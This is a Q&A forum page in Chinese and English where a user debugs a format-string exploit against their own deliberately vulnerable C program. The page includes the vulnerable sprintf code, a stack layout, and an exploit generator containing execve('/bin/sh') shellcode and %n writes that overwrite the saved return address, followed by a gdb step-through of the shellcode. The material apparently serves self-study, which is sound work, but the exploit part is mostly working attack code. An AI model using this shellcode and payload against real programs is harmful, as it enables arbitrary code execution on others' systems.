格式字符串错误 - 利用
我正在尝试利用我的格式字符串错误,该错误位于该程序中:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void foo(char* tmp, char* format) {
/* write into tmp a string formated as the format argument specifies */
sprintf(tmp, format);
/* just print the tmp buffer */
printf("%s", tmp);
}
int main(int argc, char** argv) {
char tmp[512];
char format[512];
while(1) {
/* fill memory with constant byte */
memset(format, '\0', 512);
/* read at most 512 bytes into format */
read(0, format, 512);
/* compare two strings */
if (!strncmp(format, "exit", 4))
break;
foo(tmp, format);
}
return 0;
}
堆栈如下所示:
Low Memory Addresses
before printf before sprintf
function function
-----------------------
| 0xbffff258 | -
----------------------- ----------------------- |--- arguments to printf/sprintf
| 0xbffff258 | | 0xbffff058 | -
----------------------- -----------------------
| 0xbffff458 | (saved EBP)
-----------------------
| 0x08048528 | (return address to main - EIP)
-----------------------
| 0xbffff258 | (pointer to tmp)
-----------------------
| 0xbffff058 | (pointer to format)
-----------------------
| 0x00000004 | (constant 4)
-----------------------
| format[0] | (starts at 0xbffff058)
-----------------------
| format[511] |
-----------------------
| tmp[0] | (starts at 0xbffff258)
-----------------------
| tmp[511] |
-----------------------
High Memory Addresses
所以基本思想是编写 %x、%n... 的序列并将其提供给程序。我用来构建输入字符串的程序是:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
main()
{
char b0[255];
char b1[255];
char b2[255];
char b3[255];
char b4[1024];
char buffer[512];
memset(b0, 0, 255);
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 'A', 1024);
memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
memset(b1, 'A', 0xf0 - 0x68);
memset(b2, 'A', 0xff - 0xf0);
memset(b3, 'A', 0x1bf - 0xff);
printf("\x48\xf0\xff\xbf"
"\x49\xf0\xff\xbf"
"\x4a\xf0\xff\xbf"
"\x4b\xf0\xff\xbf"
"%s"
"%s"
"%%6$n"
"%s"
"%%7$n"
"%s"
"%%8$n"
"%s"
"%%9$n"
,shellcode, b0, b1, b2, b3);
}
我们可以看到我已经用以下十六进制覆盖了地址:0xbffff048、0xbffff049、0xbffff04a、0xbffff04b:0x68、0xf0、0xff、0x1bf,这给了我们地址:0xbffff068(这是shellcode在内存中的地址)。所以我们的想法是用这个地址覆盖 0x08048528 (EIP),这样当函数返回时它就会跳转到该地址。
我已经完成了所有这些,并用调试器检查了这一切都很好。但我仍然在 /lib/libc.so.6 的 vfprintf () 中遇到分段错误。
有人知道发生了什么事吗?我搞砸了什么吗?
谢谢
I'm trying to exploit my format string bug, which lies in this program:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void foo(char* tmp, char* format) {
/* write into tmp a string formated as the format argument specifies */
sprintf(tmp, format);
/* just print the tmp buffer */
printf("%s", tmp);
}
int main(int argc, char** argv) {
char tmp[512];
char format[512];
while(1) {
/* fill memory with constant byte */
memset(format, '\0', 512);
/* read at most 512 bytes into format */
read(0, format, 512);
/* compare two strings */
if (!strncmp(format, "exit", 4))
break;
foo(tmp, format);
}
return 0;
}
The stack looks like this:
Low Memory Addresses
before printf before sprintf
function function
-----------------------
| 0xbffff258 | -
----------------------- ----------------------- |--- arguments to printf/sprintf
| 0xbffff258 | | 0xbffff058 | -
----------------------- -----------------------
| 0xbffff458 | (saved EBP)
-----------------------
| 0x08048528 | (return address to main - EIP)
-----------------------
| 0xbffff258 | (pointer to tmp)
-----------------------
| 0xbffff058 | (pointer to format)
-----------------------
| 0x00000004 | (constant 4)
-----------------------
| format[0] | (starts at 0xbffff058)
-----------------------
| format[511] |
-----------------------
| tmp[0] | (starts at 0xbffff258)
-----------------------
| tmp[511] |
-----------------------
High Memory Addresses
so the basic idea is to write a sequence of %x, %n, ... and feed it to the program. The program I'm using to build up the input string is:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
main()
{
char b0[255];
char b1[255];
char b2[255];
char b3[255];
char b4[1024];
char buffer[512];
memset(b0, 0, 255);
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 'A', 1024);
memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
memset(b1, 'A', 0xf0 - 0x68);
memset(b2, 'A', 0xff - 0xf0);
memset(b3, 'A', 0x1bf - 0xff);
printf("\x48\xf0\xff\xbf"
"\x49\xf0\xff\xbf"
"\x4a\xf0\xff\xbf"
"\x4b\xf0\xff\xbf"
"%s"
"%s"
"%%6$n"
"%s"
"%%7$n"
"%s"
"%%8$n"
"%s"
"%%9$n"
,shellcode, b0, b1, b2, b3);
}
we can see that I've overwritting the addresses: 0xbffff048, 0xbffff049, 0xbffff04a, 0xbffff04b, with the following hexadecimals: 0x68, 0xf0, 0xff, 0x1bf, which gives us the address: 0xbffff068 (which is the address of the shellcode in memory). So the idea is to overwrite the 0x08048528 (EIP) with this address, so when function returns it would jump to that address.
I've done all this and checked with debugger that this is all fine. But I still get the segmentation fault in vfprintf () from /lib/libc.so.6.
Do anybody have any idea what's going on. Did I screw something up?
Thanks
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(2)
完全重写
Full Rewrite
地址有一点变化,但我已经按照你告诉我的做了,我使用了stepi,结果是:
在strcpy之后,内存看起来像:
我们可以看到要跳转到的地址现在是0xbffff050,其中是正确的(这就是我们的 shellcode)。
然后我执行stepi:
让我们分析一下:
好吧,如果我再执行一次stepi,那么应该执行return并且执行跳转到地址:0xbffff050。
然后再次执行 return:
ok 它尝试跳转到 0xbffff050,但没有成功还是什么? EIP仍为0xbffff050。
内存看起来像:
我没有使用$esp来显示内存,因为它已经从0xbffff024变成了0xbffff034。
好的,让我们跳转到 0xbffff06c(这是 shellcode 的开头):
好的,让我们调用 0xbffff052:
让我们将 ESI 寄存器与上次调用的返回地址一起存储:
让我们将 EAX 设置为 0:
让我们在内存中的该位置写入 null :
执行LEA指令:
另一个内存更改:
用系统调用填充EAX:
填充ebx,ecx,edx:
执行int指令:
还有另一个stepi:
所以我想没有错误,它可以工作。但问题仍然是,当我正常启动程序时,我只是没有得到 /bin/dash 控制台。奇怪的是,进程 2863 立即退出......而没有提示在 gdb 中输入 shell?有什么想法吗?
The addresses have changes a little bit, but I've done what you told me, I've used stepi and the results are:
After the strcpy the memory looks like:
we can see that the address to jump to is now 0xbffff050, which is correct (there lies our shellcode).
and then I execute stepi:
let's analyze a little bit:
ok if I do one more stepi, then the return should be executed and the execution jumped on the address: 0xbffff050.
and stepi again to execute return:
ok it tried to jump on the 0xbffff050, but didn't succeed or what? The EIP is still at 0xbffff050.
The memory looks like:
I didn't use the $esp to display memory, because it has changed from 0xbffff024 to 0xbffff034.
Ok, let's jump to 0xbffff06c (this is beginning of the shellcode):
Ok, let's call the 0xbffff052:
Let's store ESI register with the return address from the previous call:
Let's set EAX to 0:
Let's write the null in the location in memory:
Execute the LEA instruction:
Another memory change:
Fill EAX with system call:
Fill ebx, ecx, edx:
Execute the int instruction:
And another stepi:
So I guess there's no error, it works. But the problem remains that when I start the program normally, I just don't get the /bin/dash console. The curios thing is that the process 2863 just exits immediately...without prompting for a shell in the gdb? Any ideas?